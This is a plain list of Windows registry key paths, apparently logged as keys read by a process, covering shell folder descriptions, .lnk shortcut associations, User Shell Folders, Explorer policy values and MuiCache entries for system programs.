HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\ShellEx\IconHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\Clsid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\Clsid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\Clsid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\PropertyBag
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Desktop
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\PropertyBag
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\PropertyBag
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\AllowFileCLSIDJunctions
HKEY_CLASSES_ROOT\.lnk
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.lnk\(Default)
HKEY_CLASSES_ROOT\.lnk\OpenWithProgids
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.lnk\OpenWithProgids
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.lnk
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.lnk\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.lnk\UserChoice
HKEY_CLASSES_ROOT\lnkfile
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\CurVer
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\ShellEx\IconHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\shellex\IconHandler\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\DocObject
HKEY_CLASSES_ROOT\SystemFileAssociations\.lnk
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.lnk\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.lnk\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.lnk\Content Type
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\Clsid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\CLSID\(Default)
HKEY_CLASSES_ROOT\CLSID\{00021401-0000-0000-C000-000000000046}\Implemented Categories\{00021490-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.lnk\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\NeverShowExt
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MUI\StringCacheSettings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\StringCacheSettings\StringCacheGeneration
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\LanguageList
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\ie4uinit.exe,-735
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\ie4uinit.exe,-734
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\AccessibilityCpl.dll,-10
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\ie4uinit.exe,-737
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\PropertyBag
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Programs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuSubFolders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\PropertyBag
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Start Menu
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\sud.dll,-1
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\wucltux.dll,-1
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\ehome\ehres.dll,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Windows Sidebar\sidebar.exe,-1005
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\WindowsAnytimeUpgradeUI.exe,-1
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\DVD Maker\DVDMaker.exe,-61403
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\FXSRESM.dll,-114
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\unregmp2.exe,-4
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\XpsRchVw.exe,-102
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\displayswitch.exe,-320
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Common Files\Microsoft Shared\Ink\mip.exe,-291
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\mblctr.exe,-1008
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\NetProjW.dll,-501
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\mstsc.exe,-4000
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\SnippingTool.exe,-15051
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\SoundRecorder.exe,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\SNTSearch.dll,-505
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\SyncCenter.dll,-3000
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\OobeFldr.dll,-33056
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\Speech\SpeechUX\sapi.cpl,-5555
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\dfrgui.exe,-103
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\wdc.dll,-10030
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\msinfo32.exe,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\rstrui.exe,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\miguiresource.dll,-201
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\migwiz\wet.dll,-591
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\migwiz\wet.dll,-588
